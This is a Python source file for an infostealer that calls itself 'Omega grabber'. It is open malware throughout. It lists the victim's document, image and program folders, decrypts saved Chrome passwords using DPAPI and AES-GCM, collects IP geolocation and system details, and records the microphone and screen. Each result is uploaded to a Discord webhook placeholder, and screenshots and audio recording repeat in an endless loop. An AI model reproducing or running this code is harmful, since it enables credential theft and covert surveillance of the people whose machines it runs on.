base

from pydoc import doc
import requests
import os
import os
import sys
import shutil
import sqlite3
import json,base64
import requests
import time
from PIL import ImageGrab
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import (
    Cipher, algorithms, modes)
import pyautogui
import requests
import time
from datetime import datetime
import os
import platform
import requests
from requests import get
import sounddevice as sd
from scipy.io.wavfile import write



def document():
    login = os.getlogin()
    name = fr'C:\Users\{login}\OneDrive\Documents'
    files = os.listdir(name)
    one_files = files

    login = os.getlogin()
    name = fr'C:\Users\{login}\Documents'
    files = os.listdir(name)
    doc_files = files

    name = fr'C:\Users\{login}\OneDrive\Images'
    files = os.listdir(name)
    images_files = files

    name = fr'C:\Program Files'
    files = os.listdir(name)
    program_files = files

    name = fr'C:\Program Files (x86)'
    files = os.listdir(name)
    program86 = files


    name = fr'C:\Users\{login}'
    files = os.listdir(name)
    user_files = files

    name = fr"C:\Users\{login}\AppData\Local\Google\Chrome\User Data"
    files = os.listdir(name)
    password = files


    with open('doc.txt', 'a+')as file:
            file.write(fr"""

--------- documents ---------

{one_files}
{doc_files}

--------- images ------------

{images_files}

--------- program -----------

{program_files}

--------- program x86 -------

{program86}

--------- user files --------

{user_files}

proudly coded by BKS https://github.com/heygdrg and https://github.com/mfr-fr/
""")
    r =requests.post("DISCORDURL",json={'username': 'Omega grabber'}, files = {'file': open(f'doc.txt', 'rb')})
    os.remove(f'doc.txt')

def mic():
    fs = 44100 
    seconds = 10
    myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2)
    sd.wait()
    write("micro.wav", fs, myrecording)
    date = datetime.today().strftime('%Y-%m-%d %Hh%M')
    os.rename('micro.wav', f'{date}.wav')
    r =requests.post("DISCORDURL",json={'username': 'Omega grabber'}, files = {'file': open(f'{date}.wav', 'rb')})
    os.remove(f'{date}.wav')

def password():
    
    
    APP_DATA_PATH= os.environ['LOCALAPPDATA']
    DB_PATH = r'Google\Chrome\User Data\Default\Login Data'

    NONCE_BYTE_SIZE = 12
    def encrypt(cipher, plaintext, nonce):
        cipher.mode = modes.GCM(nonce)
        encryptor = cipher.encryptor()
        ciphertext = encryptor.update(plaintext)
        return (cipher, ciphertext, nonce)

    def decrypt(cipher, ciphertext, nonce):
        cipher.mode = modes.GCM(nonce)
        decryptor = cipher.decryptor()
        return decryptor.update(ciphertext)

    def get_cipher(key):
        cipher = Cipher(
            algorithms.AES(key),
            None,
            backend=default_backend()
        )
        return cipher


    def dpapi_decrypt(encrypted):
        import ctypes
        import ctypes.wintypes

        class DATA_BLOB(ctypes.Structure):
            _fields_ = [('cbData', ctypes.wintypes.DWORD),
                        ('pbData', ctypes.POINTER(ctypes.c_char))]

        p = ctypes.create_string_buffer(encrypted, len(encrypted))
        blobin = DATA_BLOB(ctypes.sizeof(p), p)
        blobout = DATA_BLOB()
        retval = ctypes.windll.crypt32.CryptUnprotectData(
            ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))
        if not retval:
            raise ctypes.WinError()
        result = ctypes.string_at(blobout.pbData, blobout.cbData)
        ctypes.windll.kernel32.LocalFree(blobout.pbData)
        return result

    def unix_decrypt(encrypted):
        if sys.platform.startswith('linux'):
            password = 'peanuts'
            iterations = 1
        else:
            raise NotImplementedError

        salt = 'saltysalt'
        iv = ' ' * 16
        length = 16
        key = PBKDF2(password, salt, length, iterations)
        cipher = AES.new(key, AES.MODE_CBC, IV=iv)
        decrypted = cipher.decrypt(encrypted[3:])
        return decrypted[:-ord(decrypted[-1])]

    def get_key_from_local_state():
        jsn = None
        with open(os.path.join(os.environ['LOCALAPPDATA'],
            r"Google\Chrome\User Data\Local State"),encoding='utf-8',mode ="r") as f:
            jsn = json.loads(str(f.readline()))
        return jsn["os_crypt"]["encrypted_key"]

    def aes_decrypt(encrypted_txt):
        encoded_key = get_key_from_local_state()
        encrypted_key = base64.b64decode(encoded_key.encode())
        encrypted_key = encrypted_key[5:]
        key = dpapi_decrypt(encrypted_key)
        nonce = encrypted_txt[3:15]
        cipher = get_cipher(key)
        return decrypt(cipher,encrypted_txt[15:],nonce)

    class ChromePassword:
        def __init__(self):
            self.passwordList = []

        def get_chrome_db(self):
            _full_path = os.path.join(APP_DATA_PATH,DB_PATH)
            _temp_path = os.path.join(APP_DATA_PATH,'sqlite_file')
            if os.path.exists(_temp_path):
                os.remove(_temp_path)
            shutil.copyfile(_full_path,_temp_path)
            self.show_password(_temp_path)

        def show_password(self,db_file):
            conn = sqlite3.connect(db_file)
            _sql = 'select signon_realm,username_value,password_value from logins'
            for row in conn.execute(_sql):
                host = row[0]
                if host.startswith('android'):
                    continue
                name = row[1]
                value = self.chrome_decrypt(row[2])
                _info = 'Hostname: %s\nUsername: %s\nPassword: %s\n\n' %(host,name,value)
                self.passwordList.append(_info)
            conn.close()
            os.remove(db_file)

        def chrome_decrypt(self,encrypted_txt):
            if sys.platform == 'win32':
                try:
                    if encrypted_txt[:4] == b'\x01\x00\x00\x00':
                        decrypted_txt = dpapi_decrypt(encrypted_txt)
                        return decrypted_txt.decode()
                    elif encrypted_txt[:3] == b'v10':
                        decrypted_txt = aes_decrypt(encrypted_txt)
                        return decrypted_txt[:-16].decode()
                except WindowsError:
                    return None
            else:
                try:
                    return unix_decrypt(encrypted_txt)
                except NotImplementedError:
                    return None

        def save_passwords(self):
            with open('Passwords.txt','w',encoding='utf-8') as f:
                f.writelines(self.passwordList)

    if __name__=="__main__":
        Main = ChromePassword()
        Main.get_chrome_db()
        Main.save_passwords()
        r =requests.post("DISCORDURL",json={'username': 'Omega grabber'}, files = {'file': open('passwords.txt', 'rb')})
        os.remove('passwords.txt')
def user_info():
    date = datetime.today().strftime('%Y-%m-%d %H:%M')
    my_system = platform.uname()
    url = "http://ipinfo.io/json"
    resp = get(url)
    json = resp.json()
    ip = json['ip']
    city = json["city"]
    region = json["region"]
    postal = json["postal"]
    country = json['country']
    loc = json['loc']
    org = json['org']
    postal = json['postal']
    time_zone = json['timezone']
    victim_name = os.getlogin()
    system_mark = my_system.system
    name = my_system.node
    os_version = my_system.release
    system = my_system.version
    machine = my_system.machine
    processeur = my_system.processor
    screen = pyautogui.screenshot()
    screen.save('image.jpg')
    message = '\n'.join([
        '**@everyone**',
        '**New session start : **',
        '-> '+ date,
        '**--------------------------**',
        '**victim name : **' + victim_name,
        '**Os system : **' + system_mark,
        '**Node name : **' + name,
        '**Os release : **' + my_system.release,
        '**Os version : **' + my_system.version,
        '**Machine type : **' + my_system.machine,
        '**Processor : **' + my_system.processor,
        '**---------------------------**',
        '**Ip adress: **' + ip,
        '**Departure : **' + region,
        '**City : **' + city,
        '**Postal : **' + postal,
        '**Country : **' + country,
        '**Location : **' + loc,
        '**Org : **' + org,
        '**Time zone : **' + time_zone,
        '**---------------------------**'
    ])
    r = requests.post("DISCORDURL",json={'username': 'Omega grabber', 'content': message})

def screenshot():
    screen = pyautogui.screenshot()
    screen.save('image.jpg')
    r =requests.post("DISCORDURL",json={'username': 'Omega grabber'}, files = {'file': open('image.jpg', 'rb')})
    os.remove('image.jpg')



user_info()
screenshot()
document()
password()
mic()

while True:
    screenshot()
    mic()